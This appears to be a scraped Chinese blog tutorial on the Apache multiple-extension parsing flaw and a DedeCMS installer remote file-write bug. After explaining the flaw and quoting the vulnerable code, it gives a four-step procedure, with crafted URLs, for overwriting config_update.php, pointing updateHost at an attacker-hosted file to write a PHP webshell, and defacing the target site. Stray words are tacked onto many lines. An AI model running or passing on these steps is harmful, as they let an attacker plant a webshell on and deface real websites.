解釋下Apache解析文件的流程:php
當Apache檢測到一個文件有多個擴展名時,如1.php.bak,會從右向左判斷,直到有一個Apache認識的擴展名。若是全部的擴展名Apache都不認識,那麼變會按照httpd.conf配置中所指定的方式展現這個問題,通常默認狀況下是「text/plain」這種方式。web
那麼這樣的話,像1.php.bak這樣的文件名就會被當作php文件所解析。這也就是傳說中的Apache解析漏洞。sql
利用條件:首先,是目標站安裝完cms後並無刪除install文件夾,漏洞文件爲\install\index.php.bak 。shell
目標站點的Apache存在文件解析漏洞。即index.php.bak文件會被當作PHP腳本解析,代碼以下:服務器
else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您能夠選擇安裝進行體驗)'; else echo ' <font color="red">[×]</font> 遠程獲取失敗'; unset($sql_content); fclose($fp); exit(); }
原理:因爲遠程要包含文件的服務器地址是經過 $updateHost 控制的,那咱們首先利用代碼來改寫../data/admin/config_update.php這個文件,使咱們能夠自定義 $updateHost的值,那樣就能夠引用任何咱們想要引用的文件啦!網站
黑掛網站:ui
第一步:隨便找一個網站 新建個http://xxx.xxx.xxx.xxx/dedecms/demodata.a.txturl
http://xxx.xxx.xxx.xxx/dedecms/demodata.a.txt
第二步:檢測遠程更新是否有用,摧毀config_update.php的內容spa
http://目標站點/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
第三步:設置$updateHost的值,注入執行腳本等blog
http://目標站點/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://存放demodata.a.txt腳本的域名/
第四步:利用webshell,掛黑目標站點
shell地址:http://目標站點//install/lx.php